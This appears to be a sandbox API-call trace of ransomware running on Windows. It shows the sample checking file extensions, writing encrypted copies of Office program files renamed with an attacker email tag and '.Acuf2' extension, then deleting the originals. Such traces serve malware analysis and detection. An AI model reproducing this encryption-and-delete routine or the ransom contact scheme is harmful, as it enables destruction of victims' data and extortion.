	[0271.664] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1
	[0271.664] lstrlenW (lpString=".xls") returned 4
	[0271.672] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1
	[0271.672] lstrlenW (lpString=".xlsx") returned 5
	[0271.672] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1
	[0271.674] lstrlenW (lpString=".ppt") returned 4
	[0271.674] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1
	[0271.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.674] lstrlenW (lpString=".zip") returned 4
	[0271.674] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1
	[0271.674] lstrlenW (lpString=".rar") returned 4
	[0271.674] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1
	[0271.681] lstrlenW (lpString=".bz2") returned 4
	[0271.681] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1
	[0271.682] lstrlenW (lpString=".7z") returned 3
	[0271.682] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1
	[0271.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.682] lstrlenW (lpString=".dbf") returned 4
	[0271.682] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1
	[0271.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.682] lstrlenW (lpString=".1cd") returned 4
	[0271.682] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1
	[0271.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.682] lstrlenW (lpString=".jpg") returned 4
	[0271.682] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1
	[0271.761] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.761] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.762] GetLastError () returned 0x0
	[0271.762] ReadFile (in: hFile=0x36c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x352, lpOverlapped=0x0) returned 1
	[0271.817] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x360, lpOverlapped=0x0) returned 1
	[0271.829] ReadFile (in: hFile=0x36c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.829] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0271.829] SetEndOfFile (hFile=0x35c) returned 1
	[0271.829] CloseHandle (hObject=0x35c) returned 1
	[0271.829] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.829] SetEndOfFile (hFile=0x36c) returned 1
	[0271.831] CloseHandle (hObject=0x36c) returned 1
	[0271.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 1
	[0271.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.853] lstrlenW (lpString=".doc") returned 4
	[0271.853] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1
	[0271.853] lstrlenW (lpString=".docx") returned 5
	[0271.853] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1
	[0271.853] lstrlenW (lpString=".pdf") returned 4
	[0271.853] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1
	[0271.853] lstrlenW (lpString=".xls") returned 4
	[0271.853] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1
	[0271.853] lstrlenW (lpString=".xlsx") returned 5
	[0271.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1
	[0271.853] lstrlenW (lpString=".ppt") returned 4
	[0271.878] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1
	[0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.878] lstrlenW (lpString=".zip") returned 4
	[0271.878] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1
	[0271.878] lstrlenW (lpString=".rar") returned 4
	[0271.878] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1
	[0271.878] lstrlenW (lpString=".bz2") returned 4
	[0271.878] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1
	[0271.879] lstrlenW (lpString=".7z") returned 3
	[0271.879] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1
	[0271.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.879] lstrlenW (lpString=".dbf") returned 4
	[0271.879] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1
	[0271.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.879] lstrlenW (lpString=".1cd") returned 4
	[0271.879] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1
	[0271.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60
	[0271.879] lstrlenW (lpString=".jpg") returned 4
	[0271.879] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1
	[0272.082] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.082] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.104] GetLastError () returned 0x0
	[0272.104] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x6886, lpOverlapped=0x0) returned 1
	[0272.132] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x6890, lpOverlapped=0x0) returned 1
	[0272.134] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.134] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0272.134] SetEndOfFile (hFile=0x360) returned 1
	[0272.134] CloseHandle (hObject=0x360) returned 1
	[0272.134] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.134] SetEndOfFile (hFile=0x29c) returned 1
	[0272.136] CloseHandle (hObject=0x29c) returned 1
	[0272.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 1
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString=".doc") returned 4
	[0272.137] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1
	[0272.137] lstrlenW (lpString=".docx") returned 5
	[0272.137] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1
	[0272.137] lstrlenW (lpString=".pdf") returned 4
	[0272.137] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1
	[0272.137] lstrlenW (lpString=".xls") returned 4
	[0272.137] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1
	[0272.137] lstrlenW (lpString=".xlsx") returned 5
	[0272.137] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1
	[0272.137] lstrlenW (lpString=".ppt") returned 4
	[0272.137] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString=".zip") returned 4
	[0272.137] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1
	[0272.137] lstrlenW (lpString=".rar") returned 4
	[0272.137] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1
	[0272.137] lstrlenW (lpString=".bz2") returned 4
	[0272.137] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1
	[0272.137] lstrlenW (lpString=".7z") returned 3
	[0272.137] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString=".dbf") returned 4
	[0272.137] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString=".1cd") returned 4
	[0272.137] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1
	[0272.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64
	[0272.137] lstrlenW (lpString=".jpg") returned 4
	[0272.138] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1
	[0272.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.624] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.624] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.146] GetLastError () returned 0x0
	[0273.146] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x78c8, lpOverlapped=0x0) returned 1
	[0273.149] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x78d0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x78d0, lpOverlapped=0x0) returned 1
	[0273.150] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.150] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.150] SetEndOfFile (hFile=0x38c) returned 1
	[0273.150] CloseHandle (hObject=0x38c) returned 1
	[0273.150] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.150] SetEndOfFile (hFile=0x29c) returned 1
	[0273.153] CloseHandle (hObject=0x29c) returned 1
	[0273.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 1
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.269] lstrlenW (lpString=".doc") returned 4
	[0273.269] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".docx") returned 5
	[0273.269] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1
	[0273.269] lstrlenW (lpString=".pdf") returned 4
	[0273.269] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".xls") returned 4
	[0273.269] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".xlsx") returned 5
	[0273.269] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1
	[0273.269] lstrlenW (lpString=".ppt") returned 4
	[0273.269] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.269] lstrlenW (lpString=".zip") returned 4
	[0273.269] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".rar") returned 4
	[0273.269] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".bz2") returned 4
	[0273.269] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString=".7z") returned 3
	[0273.269] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.269] lstrlenW (lpString=".dbf") returned 4
	[0273.269] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.269] lstrlenW (lpString=".1cd") returned 4
	[0273.269] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62
	[0273.270] lstrlenW (lpString=".jpg") returned 4
	[0273.270] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0273.323] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.323] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.324] GetLastError () returned 0x0
	[0273.324] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x35b0, lpOverlapped=0x0) returned 1
	[0273.326] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x35c0, lpOverlapped=0x0) returned 1
	[0273.327] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.327] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0273.327] SetEndOfFile (hFile=0x38c) returned 1
	[0273.327] CloseHandle (hObject=0x38c) returned 1
	[0273.327] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.327] SetEndOfFile (hFile=0x29c) returned 1
	[0273.329] CloseHandle (hObject=0x29c) returned 1
	[0273.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 1
	[0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.330] lstrlenW (lpString=".doc") returned 4
	[0273.330] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.330] lstrlenW (lpString=".docx") returned 5
	[0273.330] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.330] lstrlenW (lpString=".pdf") returned 4
	[0273.330] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.330] lstrlenW (lpString=".xls") returned 4
	[0273.330] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.330] lstrlenW (lpString=".xlsx") returned 5
	[0273.330] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.330] lstrlenW (lpString=".ppt") returned 4
	[0273.330] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.330] lstrlenW (lpString=".zip") returned 4
	[0273.330] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.330] lstrlenW (lpString=".rar") returned 4
	[0273.330] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.330] lstrlenW (lpString=".bz2") returned 4
	[0273.330] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.330] lstrlenW (lpString=".7z") returned 3
	[0273.331] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.331] lstrlenW (lpString=".dbf") returned 4
	[0273.331] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.331] lstrlenW (lpString=".1cd") returned 4
	[0273.331] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66
	[0273.331] lstrlenW (lpString=".jpg") returned 4
	[0273.331] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.331] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=11704) returned 1
	[0273.331] CloseHandle (hObject=0x29c) returned 1
	[0273.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20
	[0273.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.332] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.332] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.332] GetLastError () returned 0x0
	[0273.332] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2db8, lpOverlapped=0x0) returned 1
	[0273.334] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2dc0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2dc0, lpOverlapped=0x0) returned 1
	[0273.335] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.336] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.336] SetEndOfFile (hFile=0x38c) returned 1
	[0273.338] CloseHandle (hObject=0x38c) returned 1
	[0273.338] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.338] SetEndOfFile (hFile=0x29c) returned 1
	[0273.340] CloseHandle (hObject=0x29c) returned 1
	[0273.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 1
	[0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.341] lstrlenW (lpString=".doc") returned 4
	[0273.341] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.341] lstrlenW (lpString=".docx") returned 5
	[0273.341] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.341] lstrlenW (lpString=".pdf") returned 4
	[0273.341] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.341] lstrlenW (lpString=".xls") returned 4
	[0273.341] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.341] lstrlenW (lpString=".xlsx") returned 5
	[0273.341] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.341] lstrlenW (lpString=".ppt") returned 4
	[0273.341] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.341] lstrlenW (lpString=".zip") returned 4
	[0273.341] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.341] lstrlenW (lpString=".rar") returned 4
	[0273.341] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
